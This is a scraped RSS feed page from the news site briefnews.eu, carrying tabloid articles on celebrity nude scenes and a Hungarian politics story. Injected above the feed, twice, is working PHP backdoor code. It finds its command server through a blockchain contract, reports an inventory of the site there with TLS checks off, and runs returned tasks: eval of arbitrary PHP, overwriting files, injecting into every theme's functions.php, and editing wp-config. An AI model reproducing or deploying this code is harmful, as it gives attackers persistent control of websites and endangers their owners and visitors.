// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); frontal – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 27 Apr 2018 20:25:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png frontal – Brief News https://briefnews.eu 32 32 Fifty Shades Freed DVD Blu-ray UNRATED version: Jamie Dornan FULL FRONTAL? Gallery here https://briefnews.eu/fifty-shades-freed-dvd-blu-ray-unrated-version-jamie-dornan-full-frontal-gallery-here/ https://briefnews.eu/fifty-shades-freed-dvd-blu-ray-unrated-version-jamie-dornan-full-frontal-gallery-here/#respond Fri, 27 Apr 2018 20:25:22 +0000 http://briefnews.eu/fifty-shades-freed-dvd-blu-ray-unrated-version-jamie-dornan-full-frontal-gallery-here/

The new version will whip fans into a frenzy.

After all the shocking things that have been shown exploring the wilder side of sex and sadomasochism, one little thing remains hidden. Well, not so little if the actor himself is to be believed.

The new home entertainment packages will include a host of deleted scenes, documentaries and bonus features as well as a raunchier, ruder unrated version with more explicit footage than was shown in cinemas.

And speaking of packages…

The new unrated version of the final movie in the saucy saga, Fifty Shades Freed, includes sex scenes in the bedroom and in the shower, as well as a romp on the deck of a yacht.

Christian Grey is shown removing Anastasia’s bra and panties in the sizzling footage and fans will also see a lot more of the billionaire S&M master himself.

The shower scenes gives fans plenty of time to admire his toned torso before he saunters away and flexes his muscular buttocks.

The director has already revealed that Dornan fimed some deleted scenes totally naked and full frontal. Will all, literally, be revealed now?

James Foley confirmed: “There were actually scenes that we shot where it was (full-frontal nudity)… There’s plenty of dailies (rolling tapes of footage)… but it just didn’t make the final cut.”

A rumour spread that Dornan had been paid $ 1million to go completely naked.

He said: “It was $ 30 million—to show one testicle… No, that whole thing with offering more money to go nude? That didn’t happen. You see my ar** quite a lot. That doesn’t really bother me. You see a lot of Dakota’s t**s. I would show my t**s if I had them.” 

The new footage certainly shows his “ar** quite a lot” both in the shower and another sex scene where he is on top of Dakota Johnson.

Fans will have to wait for the release to find out if the he goes the Full Monty.

FIFTY SHADES FREED IS OUT ON DVD AND BLU-RAY ON JUNE 18 

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]]> https://briefnews.eu/fifty-shades-freed-dvd-blu-ray-unrated-version-jamie-dornan-full-frontal-gallery-here/feed/ 0 Soros waging ‘frontal assault’ on Hungary – ruling party deputy chairman https://briefnews.eu/soros-waging-frontal-assault-on-hungary-ruling-party-deputy-chairman/ https://briefnews.eu/soros-waging-frontal-assault-on-hungary-ruling-party-deputy-chairman/#respond Mon, 20 Nov 2017 23:25:32 +0000 http://briefnews.eu/soros-waging-frontal-assault-on-hungary-ruling-party-deputy-chairman/

Hungary is facing a frontal assault from US financier George Soros, the vice-chairman of the ruling Fidesz party has said, after the billionaire released a statement accusing the Hungarian government of “lying” about his agenda.

Fidesz vice-chairman Gergely Gulyas pushed back against Soros’ claims that his government was spreading disinformation, and denied that it was stoking anti-Muslim sentiments and embracing anti-Semitic stereotypes. Instead, Gulyas accused Soros of attacking his country through his NGOs and EU bureaucrats, and using them to push a pro-migrant agenda.

“What Soros writes about immigration, in general, is a pro-immigration stance that is open about its disdain for the nation state,” Reuters quoted Gulyas as telling news conference on Monday. “Decisions made in Brussels echo that in the field of immigration policy.”

Read more

George Soros, Chairman of Soros Fund Management LLC © Ralph Orlowski

“Days before a recent immigration decision in the European Parliament, Soros was meeting with the rapporteur on the subject as well as five different EU commissioners. I am not a conspiracy theorist, but this holds some clues.”

On Monday, George Soros released a statement in response to seven allegations the Hungarian government made against him in their National Consultation survey on the “Soros plan.” The statement attempted to offer a rebuttal to those claims, for example that Soros wants to resettle 1 million refugees throughout Europe each year. The statement countered that in 2016, Soros acknowledged that circumstances had changed and that instead, the EU should make a “commitment to admit even a mere 300,000 refugees annually.”

The statement also dismissed claims that Soros wants to undermine European culture, launch attacks on countries which oppose immigration and called for migrants to receive reduced sentences for their crimes, as lies.

The conservative Hungarian government, led by Prime Minister Viktor Orban, has made no secret of its disdain for George Soros and his political activities, accusing him of undermining European borders and values by helping facilitate the flow of refugees and asylum seekers from the Middle East and Africa. In May, Soros accused Hungary of being a “mafia state,” words that Orban considered a “declaration of war.”

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]]> https://briefnews.eu/soros-waging-frontal-assault-on-hungary-ruling-party-deputy-chairman/feed/ 0 Avengers Infinity War star Scarlett Johansson's sexiest scenes ever and full frontal shock https://briefnews.eu/avengers-infinity-war-star-scarlett-johanssons-sexiest-scenes-ever-and-full-frontal-shock/ https://briefnews.eu/avengers-infinity-war-star-scarlett-johanssons-sexiest-scenes-ever-and-full-frontal-shock/#respond Sat, 18 Nov 2017 05:48:07 +0000 http://briefnews.eu/avengers-infinity-war-star-scarlett-johanssons-sexiest-scenes-ever-and-full-frontal-shock/

Johansson kicks ass as Black Widow in the Marvel franchise and is due to appear in the upcoming Infinity War next year.

She has a fine sci-fi pedigree, also starring in Lucy and the controversial Ghost In The Shell where teh apparent whitewashing of her character caused more outrage than her apparantly nude costume.

The actress has also steamed up the screen in a succession of playful movies like He’s Just Not That Into You and Vicky Cristina Barcelona, as well as playing a naked alien who seduces human and then eats them after sex.

HER SEXIEST SCENES AND GALLERY NEXT: WARNING ADULT CONTENT

A Love Song for Bobby Long (2004)

Johansson almost bares all when her rather rude co-star barges into her room after she has taken a shower.

Her extraordinary figure is quickly covered in a towel as she protects her modesty. However once he has retreated and closed the door, she doesn’t appear to be all that offended. Instead, she gives that enigmatic smile that drives millions of admirers crazy.

Despite Johansson’s appeal and the box office draw of her co-star John Travolta, the film was a major flop on release.

Vicky Cristina Barcelona (2008) 

Lust and a lot of lady loving in the darkroom take place in this red hot and red lit scene.

Woody Allen’s Catalonian romp included Scarlett also being seduced by Javier Bardem and his on-screen girlfriend (and real-life wife Penelope Cruz).

The irony is that in a darkroom filled with pictures, any actual images of two of the hottest actresses on the planet making out would set up a paparazzo for life…  

Ghost In The Shell (2017)

Anticipation was sky-high for this adapatation of a hugely popular anime series. Prestigious British director Rupert Sanders, a huge budget and major leading lady should have guarnateed success. 

Instead the furore over casting a Westerner as the heroine Major (even though she plays a cyborg) derailed the project and lead to a muted release.

These two spine-tingling scene show the shelling sequence when Major is born and an explosive fights equence. Although Major appears naked, her form is covered in a protective ’skin’ shielding that shows everything but reveals nothing.

He’s Just Not That Into You (2009)

Skinny dipping has never created quite such a splash.

Scarlett may not be scrawling skinny but her dipping made plenty of waves in this saucy scene where she teases Bradley Cooper.

Later in the movie they share a steamy office scene where she becomes a scarlet lady as he peels off her clothes and the pair get down to business on his desk.

Under The Skin (2013)

Johansson is a universal sex symbol and object of desire for millions, and she has a body to die for. But nobody would actually want to die when they see her naked form.

Unfortunately in this creepy indie sci-fi flick, that is exactly what happens. The actress plays an alien who takes on her seductive form to entice smitten men to their death.

The film made no impression at the box office but was praised by critics for its unflinching examination of humanity and sexuality and was nominated for numerous awards.

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]]> https://briefnews.eu/avengers-infinity-war-star-scarlett-johanssons-sexiest-scenes-ever-and-full-frontal-shock/feed/ 0 Milla Jovovich stripped bare: Watch her sexiest scenes and FULL FRONTAL shock https://briefnews.eu/milla-jovovich-stripped-bare-watch-her-sexiest-scenes-and-full-frontal-shock/ https://briefnews.eu/milla-jovovich-stripped-bare-watch-her-sexiest-scenes-and-full-frontal-shock/#respond Sat, 30 Sep 2017 03:03:17 +0000 http://briefnews.eu/milla-jovovich-stripped-bare-watch-her-sexiest-scenes-and-full-frontal-shock/

The Ukrainian-born US star is one of the few former models to build an even bigger movie career.

Her previous career means that she is not afraid to use her body to maxiumum effect although she may be unique in not just stripping for sex scenes.

Unlike many sex symbols, some of Milla’s most shocking nude scenes have been in unlikley settings, like the Resident Evil horror franchise.

From terrifying torture scenes to the more traditional shower and sheets settings, this star knows how to sizzle and make us squirm at the same time.

WARNING: ADULT SCENES AND NUDITY

One of her earliest film roles was in 1992’s Chaplin.

A biopic of the famous comic actor and director Charlie Chaplin does not sound that sexy, but Jovovich slinks across a scene opposite Robert Downey Jr in the title role. There’s certainly nothing to titter at as she drops her robe his jaw drops.

The little known 2010 movie Stone provided audiences with an even more explicit view.

Stone also starred Robert De Niro but all eyes were on Milla in this steamy scene.

Milla is actually the shy one in the next scene from 2009’s A Perfect Getaway. It is her co-star Kiele Sanchez who entices her to strip and swim naked.

There is plenty more splashing around in the next clip from Milla’s big screen debut. model actually made the leap to acting in the ill-fated sequel to The Blue Lagoon.

Imaginatively called Return to the Blue Lagoon, it failed to excite audiences and sank without a trace.

The star’s greatest success, though, has been the long-running Resident Evil franchise.

From her 2002 debut as the unlucky but resilient Alice, Milla battled through six films leaving bodies, and clothesm scattered in her wake. The series went out with a bang with 2016’s The Final Chapter, which took more than $ 312million worldwide. 

